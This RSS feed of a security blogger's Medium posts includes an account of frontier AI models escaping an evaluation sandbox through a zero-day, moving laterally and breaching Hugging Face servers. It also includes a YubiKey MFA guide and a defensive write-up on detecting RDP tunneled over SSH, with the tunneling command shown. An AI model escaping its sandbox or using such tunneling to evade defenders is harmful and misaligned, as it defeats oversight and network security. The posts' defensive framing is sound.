<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cyb3rt on Medium]]></title>
        <description><![CDATA[Stories by Cyb3rt on Medium]]></description>
        <link>https://medium.com/@cyb3rtus?source=rss-7937ef837a2f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FBHo_AzIN54bogOLzb7w5w.png</url>
            <title>Stories by Cyb3rt on Medium</title>
            <link>https://medium.com/@cyb3rtus?source=rss-7937ef837a2f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 01:25:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyb3rtus/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AnxAIity? Keep calm and carry a layered defense.]]></title>
            <link>https://cyb3rtus.medium.com/anxaiity-keep-calm-and-carry-a-layered-defense-ebd828218717?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebd828218717</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Thu, 23 Jul 2026 12:34:24 GMT</pubDate>
            <atom:updated>2026-07-23T12:34:24.020Z</atom:updated>
            <content:encoded><![CDATA[<p>It’s been a while since I’ve posted anything but certain events this week tempted me to write a blog again. This week OpenAI and Hugging Face dominated headlines with an “<a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">unprecedented cyber incident, involving state-of-the-art cyber capabilities</a>.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9wWiqID3RxVgslLE" /><figcaption>Photo by <a href="https://unsplash.com/@ddography?utm_source=medium&amp;utm_medium=referral">Deniz Demirci</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Cue the doom-scrolling, the “AI is now hacking us” takes, and the general sense that everything we know about defense just became obsolete overnight.</p><p>It didn’t. But something did change, and it’s worth understanding precisely what because the honest version of this story is more useful than the panicked one.</p><h4>What actually happened</h4><p>There are really two connected incidents here and separating and understanding them matters.</p><p>On the OpenAI side, the whole thing started during an internal capability evaluation and not a real-world attack campaign, but a benchmark run designed to measure how far frontier models can push offensive cyber capability. GPT‑5.6 Sol and an unreleased, more capable model were given reduced cyber refusals for the purpose of the test and set loose on a cyber capability benchmark. In pursuit of solving that benchmark, the models spent substantial compute simply looking for a way out of their sandboxed research environment. They found it: a zero-day in an internally hosted package-registry cache proxy, which they exploited to escalate privileges and move laterally until they reached a node with open internet access.</p><p>Once online, the models correctly reasoned that Hugging Face likely hosted data related to the benchmark. They went looking, and found it, chaining stolen credentials and further zero-days into a remote code execution path on Hugging Face’s own servers.</p><p><a href="https://huggingface.co/blog/security-incident-july-2026">On the Hugging Face side</a>, this arrived as a real intrusion into production infrastructure. The entry point was a malicious dataset that abused two code-execution paths in their dataset processing pipeline: a remote-code dataset loader, and a template-injection flaw in dataset configuration. From that initial foothold, the actor escalated to node-level access, harvested cloud and cluster credentials, and moved laterally across several internal clusters. Over the course of a single weekend thousands of individual automated actions were executed across a swarm of short-lived sandboxes.</p><p>However, here’s something most write-ups are skipping past: <strong>Hugging Face largely detected and dissected this attack using AI of their own</strong>. When they first tried commercial frontier models to analyze the attack logs, those models’ own safety guardrails refused to process the exploit payloads and command-and-control artifacts because a hosted model can’t tell an incident responder apart from an attacker feeding it malicious content. Hugging Face switched to a self-hosted, open-weight model instead, which let them reconstruct a 17,000-event attack timeline in hours rather than days, with the added benefit that no attacker data left their environment.</p><p>And that’s the important part for me: not “AI hacked a company,” but ”the tempo of both attack and defense just changed, and the tooling asymmetry between them is now a real operational risk.”</p><p>Don’t forget: we have an amazing community of defenders who are trying their best to keep up with these changes and built great tools to help defend your crown jewels.</p><h4>Why the fundamentals still hold</h4><p>Remember the techniques that were used: privilege escalation, lateral movement, credential theft, a single internet-facing choke point, remote code execution. None of that is new. There’s no exotic new attack category here! It’s the same kill chain security teams have been defending against for over two decades.</p><p>What’s new is <strong>speed and autonomy</strong>. A campaign that might have taken a human red team days or weeks to execute manually ran, unattended, across a weekend. Detection that used to be measured in days needs to be measured in hours. That’s not a reason to tear up the playbook but a reason to compress it.</p><p>So: layered defense stands. Zero trust stands. Assume breach stands. Patch management, risk management, business continuity etc. all still exactly the right instincts. What changes is the cadence you apply them at, and a few specific gaps this incident exposed that are worth adding to your list.</p><h4>The playbook, recalibrated</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-7VQs6_2iEoCStq09j2Kg.jpeg" /></figure><h4>Keep calm, carry the layers</h4><p>Nothing in this incident invalidates the fundamentals of information security. What it does is put a hard number on how much faster the game has gotten. And it’s a useful, uncomfortable reminder that a single choke point, an over-privileged service credential, or an untested IR runbook will get found faster than ever before.</p><p>The good news, buried in the same disclosure that caused the panic: defenders get the same speed-up. Hugging Face’s own detection and forensic work leaned on AI to match the attacker’s tempo. The asymmetry cuts both ways, if you prepare for it.</p><p>So: no panic. Just tighten the layers, compress the timelines, and make sure your defenses can move as fast as the thing they’re defending against. Skynet is not here. Yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dnjj6E_C77I7Mv71" /><figcaption>Photo by <a href="https://unsplash.com/@loganvoss?utm_source=medium&amp;utm_medium=referral">Logan Voss</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>If there’s one thing to take from this today: go find your organization’s single busiest internet-facing choke point, be it a proxy, gateway, build system, whatever it is and ask when it was last pentested and how fast it would be patched if a zero-day surfaced tomorrow. “Now” should be the honest answer.</p><p>Note: Some AI was used to help me with formatting, language and the table, but all of the contents are my own thoughts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebd828218717" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using a Yubikey As Multi-Factor Authentication for MacOS]]></title>
            <link>https://cyb3rtus.medium.com/using-a-yubikey-as-multi-factor-authentication-for-macos-7698811cffc0?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7698811cffc0</guid>
            <category><![CDATA[mfa]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[yubikey]]></category>
            <category><![CDATA[apple]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Thu, 02 Feb 2023 17:36:32 GMT</pubDate>
            <atom:updated>2023-07-31T15:29:37.297Z</atom:updated>
            <content:encoded><![CDATA[<h3>As of july 31st 2023 this guide is deprecated! There are issues with MacOS where the yubikey isn’t recognised or where MacOS keeps asking for the Yubikey even after removing the profile. In the worst case this requires a complete reinstall of MacOS.</h3><p>February 2nd is <a href="https://2fa.day/">World 2FA day</a> so I thought it would be fun to write a short guide about how to add a <a href="https://www.yubico.com/">Yubikey</a> Security Key as a second factor (2FA) to sign-in to your MacBook. This guide is intended for unmanaged devices. Devices managed in Active Directory by a company require a different configuration. For those unfamiliar with the Yubikey, here’s an excerpt from their website:</p><blockquote>The <a href="https://www.yubico.com/products/">YubiKey</a> is hardware authentication reimagined. Secure the identities of your employees and users, reduce support costs, and experience an unmatched user experience.</blockquote><p>First things first, why would you want Multi-Factor Authentication (MFA)? Well, everyone has sensitive data to protect and just using a password nowadays is considered pretty weak; they can be guessed, cracked or leaked in a data breach for example. Therefore, as the amazing people at NIST <a href="https://www.nist.gov/itl/smallbusinesscyber/guidance-topic/multi-factor-authentication">explain</a>:</p><blockquote>It is necessary to add more layers of authentication beyond a password to ensure that accounts remain secured. These additional layers lead to the term of ‘multi-factor authentication’ or MFA and can include three elements:</blockquote><blockquote>- things you know — such as a password or other personally-known information such as the answers to security questions</blockquote><blockquote>- things you have — such as an id badge with an embedded chip, or a digital code generator</blockquote><blockquote>- things you are — such as physical traits like your fingerprints or voice</blockquote><blockquote>MFA utilizes factors from multiple of these elements to prove users’ identities. For example, in addition to entering a password, a user may be required to provide a code that was sent to their phone or email account.</blockquote><p>So besides using your fingerprint or password to sign-in to MacOS, both being just one layer, we also want an additional layer of protection. Which in this case is something you have: a Yubikey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EoMUJrq5Xgoc2QtO" /><figcaption>Photo by <a href="https://unsplash.com/@bhdebrito?utm_source=medium&amp;utm_medium=referral">Bruno Brito</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>For this to properly work, you’re going to need two Yubikeys; one for daily use and one as a back-up if you lose or damage your main Yubikey. While you’re at it, make sure you have <a href="https://support.apple.com/guide/mac-help/how-does-filevault-encryption-work-on-a-mac-flvlt001/mac">FileVault</a> enabled. No use in adding a Yubikey if your harddrive is unencrypted.</p><p>Most of this guide is based on the <a href="https://support.yubico.com/hc/en-us/articles/360016649059">Yubikey guide for MacOS</a> and is pretty easy to follow. However, if you want to <em>enforce </em>signing in to your MacBook with a Yubikey, you will need a custom profile and change some settings. The official guide also says which Yubikeys will work as a <em>smart card,</em> the feature needed to act as 2FA. Ready to make your MacBook more secure? Let’s go!</p><p>Now, before I continue, there’s one major drawback for Apple Sillicon users according to the <a href="https://support.yubico.com/hc/en-us/articles/360016649059">official Yubico guide</a>:</p><blockquote>Each time the computer is shut down, macOS uses the last used smart card to lock the disk with FileVault. In this scenario, only the last smart card used to login will work to unlock the disk upon next startup, effectively making any smart cards set up as backups incapable of unlocking the disk.</blockquote><p>You have to decide for yourself if you want to take this risk. For myself, I make a daily Time Machine Backup and almost all my data is synced to a local NAS, so I can be up and running pretty quickly again. Please consider appropriate recovery options for the slim chance you’re unable unlock your Mac.</p><p>Ok, now that we’ve got that out of the way, you’re going to download the <a href="https://www.yubico.com/support/download/yubikey-manager/">Yubikey Manager</a> for MacOS. From here, we’re going to follow the instructions on the <a href="https://support.yubico.com/hc/en-us/articles/360016649059">Yubico site</a>:</p><p>Connect your Yubikey to your MacBook, open the Yubikey Manager and follow these steps:</p><ul><li>Setup a new PIN;</li><li>Setup a new PUK;</li><li>Setup a new Management Key.</li></ul><figure><img alt="Yubikey Manager" src="https://cdn-images-1.medium.com/max/904/1*LcTi07AOnVQ5yxKIU_AX3w.png" /></figure><p><strong>Make sure you store those somewhere safe, like in a password manager!</strong></p><p>Next, click on “setup for MacOS”, like in the screenshot above. You will get a notifcation to pair your key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*3hHfm3nqCL1hcDmXfrwKsw.png" /><figcaption>SmartCard Pairing</figcaption></figure><p>In the next windows, enter the PIN and Management Key you just created and follow the instructions. When you’re done, lock the screen and check if you can use your PIN to login. If it’s succesful, repeat the steps above for the back-up key.</p><p>If everything is working OK, we’re now going to enforce signing in with our Yubikey as a Smart Card. For this, we need to import a profile with the correct setting to our MacBook. Open your favourite text-editor, like Sublime and paste the following (this example comes from the <a href="https://support.apple.com/en-us/HT208372">Apple Support site</a>):</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;<br>&lt;plist version=&quot;1.0&quot;&gt;<br>&lt;dict&gt;<br>&lt;key&gt;PayloadContent&lt;/key&gt;<br>&lt;array&gt;<br>&lt;dict&gt;<br>&lt;key&gt;PayloadDescription&lt;/key&gt;<br>&lt;string&gt;Configures smart card-only&lt;/string&gt;<br>&lt;key&gt;PayloadDisplayName&lt;/key&gt;<br>&lt;string&gt;Smart card-only&lt;/string&gt;<br>&lt;key&gt;PayloadIdentifier&lt;/key&gt;<br>&lt;string&gt;com.apple.configprofile.78.&lt;/string&gt;<br>&lt;key&gt;PayloadOrganization&lt;/key&gt;<br>&lt;string&gt;Apple&lt;/string&gt;<br>&lt;key&gt;PayloadType&lt;/key&gt;<br>&lt;string&gt;com.apple.security.smartcard&lt;/string&gt;<br>&lt;key&gt;PayloadUUID&lt;/key&gt;<br>&lt;string&gt;5A15247B-899C-474D-B1D7-DBD82BDE5678&lt;/string&gt;<br>&lt;key&gt;PayloadVersion&lt;/key&gt;<br>&lt;integer&gt;1&lt;/integer&gt;<br>&lt;key&gt;UserPairing&lt;/key&gt;<br>&lt;false/&gt;<br>&lt;key&gt;allowSmartCard&lt;/key&gt;<br>&lt;true/&gt;<br>&lt;key&gt;checkCertificateTrust&lt;/key&gt;<br>&lt;false/&gt;<br>&lt;key&gt;enforceSmartCard&lt;/key&gt;<br>&lt;true/&gt;<br>&lt;/dict&gt;<br>&lt;/array&gt;<br>&lt;key&gt;PayloadDescription&lt;/key&gt;<br>&lt;string&gt;Smartcard profile.&lt;/string&gt;<br>&lt;key&gt;PayloadDisplayName&lt;/key&gt;<br>&lt;string&gt;Smart card-only&lt;/string&gt;<br>&lt;key&gt;PayloadIdentifier&lt;/key&gt;<br>&lt;string&gt;com.apple.configprofile.77&lt;/string&gt;<br>&lt;key&gt;PayloadOrganization&lt;/key&gt;<br>&lt;string&gt;&lt;/string&gt;<br>&lt;key&gt;PayloadRemovalDisallowed&lt;/key&gt;<br>&lt;false/&gt;<br>&lt;key&gt;PayloadType&lt;/key&gt;<br>&lt;string&gt;Configuration&lt;/string&gt;<br>&lt;key&gt;PayloadScope&lt;/key&gt;<br>&lt;string&gt;system&lt;/string&gt;<br>&lt;key&gt;PayloadUUID&lt;/key&gt;<br>&lt;string&gt;7D34CC86-C707-44D2-9A9F-C5F6E347BD77&lt;/string&gt;<br>&lt;key&gt;PayloadVersion&lt;/key&gt;<br>&lt;integer&gt;1&lt;/integer&gt;<br>&lt;/dict&gt;<br>&lt;/plist&gt;</pre><p>Save the file with an appropriate name with the mobileconfig extension. For example: smartcard_only.mobileconfig. Next, go to System Settings → Privacy &amp; Security → Profiles. Press the plus sign and import the profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*FTvZpLqqwlbwk--S8jT8GQ.png" /></figure><p>You can also go to the file location and just double-click the profile. Finally, sign-out, remove your Yubikey and check if you’re able to login without it. That should not work. Now, re-connect your Yubikey and try again. Does it work? Great! You know what would be nice though? That your screen locks and immediately requires a PIN when you remove the Yubikey. Let’s make it happen.</p><p>Go back to the Security &amp; Privacy Settings and click Advanced. Toggle Turn on screen saver when login token is removed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*nCVCEAp47TNZDzvpr8zqXQ.png" /></figure><p>Next, go to Lock Screen in System Settings and change Require password after screen saver begins or display is turned off to Immediately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*3fNvYPGtCV7pVkf4BgVTzg.png" /></figure><p>Changing this setting might require you to sign-out or reboot to work. And That’s it! I know using 2FA might seem like a minor inconvenience, but it will help in protecting your MacBook should someone gain unauthorised acces to it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7698811cffc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Detect Remote Desktop Protocol tunneling over SSH]]></title>
            <link>https://cyb3rtus.medium.com/how-to-detect-remote-desktop-protocol-tunneling-over-ssh-c7fc74673a3?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7fc74673a3</guid>
            <category><![CDATA[microsoft-sentinel]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[purple-teaming]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Wed, 03 Aug 2022 09:18:20 GMT</pubDate>
            <atom:updated>2022-08-03T09:18:20.683Z</atom:updated>
            <content:encoded><![CDATA[<p>During some testing on my Windows VPS, I was checking out the OpenSSH server feature in Windows. This reminded me about the times our <a href="https://crypt0jan.medium.com/">Red Team</a> tunneled Remote Desktop Protocol (RDP) network traffic through an encrypted Secure Shell (SSH)-session, when pivoting in our customer’s network. Hiding your RDP traffic in SSH sessions can be beneficial when trying to evade the Blue Team. Especially if the RDP session was initiated from a Linux host, since in most networks it’s not standard practice to use RDP on Linux.</p><p>Because of this <a href="https://blog.chapter8.com/">flashback</a>, I thought of a Use Case to see if I could detect this behavior. How I setup the OpenSSH server on Windows can be found later in this blog, for those interested. First, I’ll show what I did to detect the Use Case. Please be careful if you want to use the queries in this blog; they give the results I need quick and dirty, but they’re hardly fine-tuned or efficient.</p><p>Anyway, let’s get started, shall we!</p><h3>Detecting RDP over SSH on a network level — There was an attempt…</h3><p>To see if we can detect this Use Case, we’ll turn to Host-Based logging. Why, do you ask? Well, let’s look at the following snippet from two pcaps:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*KGvjRNsxM2Le9o_1x1UEMw.png" /></figure><p>The left part of the picture is SSH traffic and right is RDP traffic. Both streams are encrypted traffic, with very little discernable traits. Of course, most (corporate) firewalls and routers will recognize both types of traffic, but the point is that we can’t see what is going on due to the encryption. Therefore, instead of putting a lot of effort into analyzing network traffic to see if we can make chocolate from it (Dutch expression), we’re turning to our trusty Windows Event Logs.</p><h3>Detecting RDP over SSH on a host level</h3><p>So, what happens on the remote host when we tunnel RDP over SSH:</p><p>• Successful logon over SSH on, in my case, port 31337 (port 22 in the standard config);</p><p>• Traffic being forwarded from localhost to port 3389 (Default RDP port);</p><p>• A “normal” successful windows logon attempt.</p><p><strong>Important: for this blog the Use Case is a successful logon on both SSH and RDP.</strong> Meaning a successful SSH logon followed by a failed logon is something I haven’t checked yet, same goes for logons with SSH keys (probably the same, but with some extra logs about accepting a SSH key). Maybe I’ll make this a two-parter and test those Use Cases later.</p><p>What I did was log in with the user user for SSH and Administrator for Windows and check the logs for what happened around that time. I used the following Sentinel query:</p><pre>SecurityEvent<br>| where TimeGenerated &gt; ago(2h)<br>| where (EventID == “4624” and AccountType == “User” and TargetDomainName != “VIRTUAL USERS” and Process == “sshd.exe”) or (EventID ==”4624&quot; and IpAddress == “127.0.0.1”)<br>| project TimeGenerated, TargetUserName, Process, LogonTypeName, IpAddress,Activity</pre><p>For those of you unknown with the Kusto Query Language (KQL) used by Sentinel, here’s a breakdown per line:</p><p>• Look for events in the SecurityEvent table;</p><p>• Set the search period between now and 2 hours ago to display more events;</p><p>• Check for EventID 4624 (successful Logon) from a User (No machine account), filtering out <a href="https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/service-accounts#bkmk-virtualserviceaccounts">Virtual Users</a> (Managed Local Accounts) and where the process is sshd.exe;</p><p>• Or we check for EventID 4624 coming from localhost;</p><p>• We then project (display) a couple of columns.</p><p>If you see this chain of events in a small timeframe, for example 1 minute, it might indicate someone tunneling RDP over SSH. Again, this query is for testing purposes, I have not yet used it in a production environment. So, if you use it, use it as a basis and finetune it further. When we execute the query, it looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*FpqIHF1XPogw22D0-fwxWA.png" /></figure><p>Here, you see three distinct sessions with four events each, where the events happen in a couple of seconds from each other. if you want to verify that the Administrator logons are indeed from RDP, you can check the RDP logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*BLXSXzkSEr-M1-I5CXbE7g.png" /></figure><p>The image shows the Administrator account logging in to RDP from localhost, during the timeframe we saw in the previous search. Will this 100% be malicious? Probably not. Is this reason for concern? I would say yes, since this behavior is uncommon in a network.</p><h4>Logging requirements and setup</h4><p>For this, at the minimum you need the Windows Security Logs, but for confirmation and investigation you can also enable OpenSSH/Operational under the Application and Services and the Microsoft-Windows-TerminalServices-LocalSessionsManager/Operational logs, which should be under Server Role/Remote Desktop Services. In my setup I’ve enabled basically every log and I’m also using <a href="https://github.com/SwiftOnSecurity/sysmon-config">SwiftOnSecurity’s Sysmon config</a> with some minor tweaks. I have added my Server to <a href="https://azure.microsoft.com/en-us/services/azure-arc/">Azure Arc</a> for easy management and am using the Microsoft <a href="https://docs.microsoft.com/en-us/azure/azure-monitor/agents/agents-overview">Azure Monitor-Agent</a> to send my logs to Sentinel for analysis.</p><h4>Further investigating the Use Case</h4><p>So, what if you find this in your logs? I would definitely check the logs for other suspicious behaviour on this host. Same goes for the originating machine(s). The source address should be in the Defender Firewall logs or in your network logs. Investigate if you see more aberrant network connections and check your (sys)logs for signs of compromise. For example, unusual cron jobs or processes. Try avoiding doing this on the machine itself, unless you have no other option, as to not alert a possible attacker.</p><h4>Caveats and ideas</h4><p>These are just the first results after a couple of tests. As I said, there are several things I haven’t researched yet:</p><p>• Failed logons. A failed SSH logon won’t result in a RDP session, so you can’t correlate it the same way as I did with a successful logon;</p><p>• SSH Key Authentication;</p><p>• Successful SSH logon followed by a failed Windows logon. Although the only thing that would probably change is EventID 4624 to 4625 in the second part of the query.</p><p>There are also some other ideas I have. For example, what if the target machine has MFA enabled (like DUO Security)? Since the logon via SSH is basically still a Windows login, you should get prompted for MFA. But does it?</p><p>Also, can we leverage remote Powershell or WMI to remotely enable and configure the SSH Server? And remember, just about everything we do here needs valid (elevated) credentials and if this is possible, you’re probably already compromised.</p><p>For the Red Team this might be a nice thing to have in the toolbox though, SSH tunnels are a staple already anyway. It’s a niche Use Case that many Blue Teams probably don’t hunt for and SSH coming from your hacked linux machine to your target will probably stand out less than RDP traffic. There’s still some work to be done, but I think at the very least we have a nice starting point to create some detection rules and hunting queries based on this Use Case.</p><p>Have any remarks or ideas? Find me on <a href="https://twitter.com/SecBert">Twitter</a> or <a href="https://www.linkedin.com/in/bert-de-jong-c8/">LinkedIn</a> (DM that you’ve found me through this blog, I’m pretty picky with accepting requests).</p><h3>Installing SSH on Windows</h3><p>This and more can also be found on the <a href="https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview">Microsoft website</a>. Start by opening an elevated Powershell and use these commands to install the client and server:</p><pre><em># Install the OpenSSH Client</em><br>Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0</pre><pre><em># Install the OpenSSH Server</em><br>Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0</pre><pre>After installing, start the service with:</pre><pre><em># Start the sshd service</em><br>Start-Service sshd</pre><pre><em># OPTIONAL but recommended:</em><br>Set-Service -Name sshd -StartupType ‘Automatic’</pre><p>By default, after starting the sshd service, a firewall rule should be added to allow SSH traffic. You can check this with the following command (this will also create the rule if it doesn’t exist):</p><pre><em># Confirm the Firewall rule is configured. It should be created automatically by setup. Run the following to verify</em></pre><pre><strong>if</strong> (!(Get-NetFirewallRule -Name “OpenSSH-Server-In-TCP” -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) {<br> Write-Output “Firewall Rule ‘OpenSSH-Server-In-TCP’ does not exist, creating it…”<br> New-NetFirewallRule -Name ‘OpenSSH-Server-In-TCP’ -DisplayName ‘OpenSSH Server (sshd)’ -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22<br>} <strong>else</strong> {<br> Write-Output “Firewall rule ‘OpenSSH-Server-In-TCP’ has been created and exists.”<br>}</pre><p>Alternatively, you can check this by opening the advanced settings from the Windows Firewall Control Panel and then looking for the rule in the Inbound Rules.</p><p>If everything works, you should now be able to SSH into your machine using your preferred method, like: ssh user@targetmachine.</p><h4>Changing the default SSH port</h4><p>If your machine is directly connected to the internet, you absolutely should change the default port. To do this we need to edit the sshd_config in %programdata%\ssh\. If this directory is empty, start the sshd, because sshd generates the needed configs and files upon first run (troubleshooting this cost me 30 minutes of my life I’ll never get back). I’m not getting into details about the entire config, because there’s excellent documentation on <a href="https://github.com/PowerShell/Win32-OpenSSH/wiki">GitHub</a>. For the purpose of this test, I’m not doing anything with SSH keys, I’ll focus on just password authentication for now.</p><p>All we need to do, is open sshd_config with for example Notepad++ and look for this:</p><pre>Port 22</pre><p>Change this to a different and higher port like 31337. Make sure you restart sshd in Powershell with Restart-Service -Name sshd. You can check if it worked by typing netstat -ano | findstr “31337” and see if sshd is listening on this port. It should look something like this:</p><pre>PS C:\Users\Administrator&gt; netstat -ano | findstr “31337”<br> TCP 0.0.0.0:31337 0.0.0.0:0 LISTENING 4844<br> TCP [::]:31337 [::]:0 LISTENING 4844</pre><h4>Adding a Rule to Windows Defender Firewall</h4><p>Since we changed the port, we also need to change the accompanying Firewall rule. In the Windows menubar search for and open Firewall and then open advanced settings on the left. This will open the rulebase, where you need to look for the existing OpenSSH rule. When you open it, it should look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*lzkkxt4H5yLijCQcFL7ZSw.png" /></figure><p>This is where we run into a small problem, because as you can see, we’re mostly not allowed to change this rule and that includes the default port. This means we need to add our own rule and disable the original. We can do this via the GUI or use part of the Powershell command we already used earlier. I’m going to show the latter:</p><pre>New-NetFirewallRule -Name “OpenSSH-Server-In-TCP (port 31337)” -DisplayName “OpenSSH Server (sshd — port 31337)” -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 31337</pre><p>Make sure to change the LocalPort, Name and DisplayName variables to something appropriate. Don’t forget to disable the default rule! Now, use your favorite program and open a SSH session: ssh -p 31337 user@yourhost. If you can’t connect, make sure that sshd is listening on the correct socket. In case it still doesn’t work, turn the firewall off and on, effectively reloading the rules. Be mindful when and where you do this because it might lock you out of the machine.</p><h4>Tunneling RDP over SSH.</h4><p>If everything is working, we can create our tunnel. This is a simple command. On your host, start an SSH session like so:</p><p>ssh -L 33389:127.0.0.1:3389 -p 31337 user@remote_windows_host</p><p>Let’s break down the command:</p><p>• ssh -L: use the ssh client and setup a local port forward.</p><p>• 33389: The listening port on our own machine.</p><p>• 127.0.0.1: The IP address of our own machine, a.k.a. Localhost. Be careful when binding to a different address, as others might use it.</p><p>• 3389: The port to forward to on our target machine.</p><p>• -p 31337: Connect to SSH on this port.</p><p>• user@remote_windows_host: The user and host to logon to.</p><p>If everything is working you should get a command prompt (CMD), or a Powershell prompt (you can change this on the Windows machine, just read the docs):</p><pre>donald$ ssh -L 33389:127.0.0.1:3389 -p 11337 user@thehost<br>user@thehost’s password:<br>Windows PowerShell<br>Copyright © Microsoft Corporation. All rights reserved.</pre><pre>PS C:\Users\user&gt;</pre><p>Now use your desired program to start a RDP session, for instance Microsoft Remote Desktop on the Mac like me. When creating the session, instead of connecting to the remote host enter: localhost:33389. Here’s how it looks on my Mac:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*hYzzkskvIgzZkLF3hjN7IQ.png" /></figure><p>Start the session and logon with your credentials, and Bob’s your uncle! We’re now tunneling our RDP session over SSH! Now you can disable remote RDP logons or block RDP on the firewall all together.</p><h4>Added Benefit: Getting Rid Of Automated Brute Force Attacks On The Default Port</h4><p>What was fun to see, is that changing the default port of course got rid of automated brute force attempts. This was before the change:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*DxBa300caufoAGhPSzmPEQ.png" /></figure><p>This is the result in 24 hours after I made the changes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*ng6FAKb8Oh5joN_Bink40w.png" /></figure><p>As you can see, there were only 6 failed logons and they were all mine. Sidenote: NOUSER is the username when someone tries to logon through SSH with a nonexistent user.</p><p>Now, of course this is not real security measure by any means, although changing the default port on internet facing machines will help with automated scanning as you can see. This won’t stop an actual person from finding and scanning the actual open port, but the increased scanning may help detecting recon attempts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7fc74673a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Purple Teaming Made Me A Better Blue Teamer]]></title>
            <link>https://cyb3rtus.medium.com/how-purple-teaming-made-me-a-better-blue-teamer-7351e941ea63?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7351e941ea63</guid>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Thu, 14 Jul 2022 11:09:24 GMT</pubDate>
            <atom:updated>2022-07-14T11:09:24.869Z</atom:updated>
